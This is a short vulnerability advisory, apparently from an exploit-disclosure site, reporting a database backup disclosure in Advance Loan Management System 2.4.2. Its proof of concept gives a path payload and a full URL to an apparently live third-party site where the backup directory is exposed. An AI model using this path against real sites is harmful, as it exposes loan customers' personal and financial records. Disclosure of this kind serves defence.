Advance Loan Management System Version 2.4.2 database Disclosure Vulnerability

2018.02.15

indoushka (DZ)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

==========================================================================================================================================
| # Title : Advance Loan Management System Version 2.4.2 database Disclosure Vulnerability |
| # Author : indoushka |
| # Telegram : @indoushka |
| # Tested on : Win 10 X64 /Fr(Pro) |
| # Vendor : https://codecanyon.net/item/advance-loan-management-system-with-savings-system-and-sms-notification/21283070 |
| # Dork : n/a |
==========================================================================================================================================
poc :
[+] Use payload : application/backup%20database/
https://critechglobal.com/loan/application/backup%20database/
Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * 9aylas * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Advance Loan Management System Version 2.4.2 database Disclosure Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.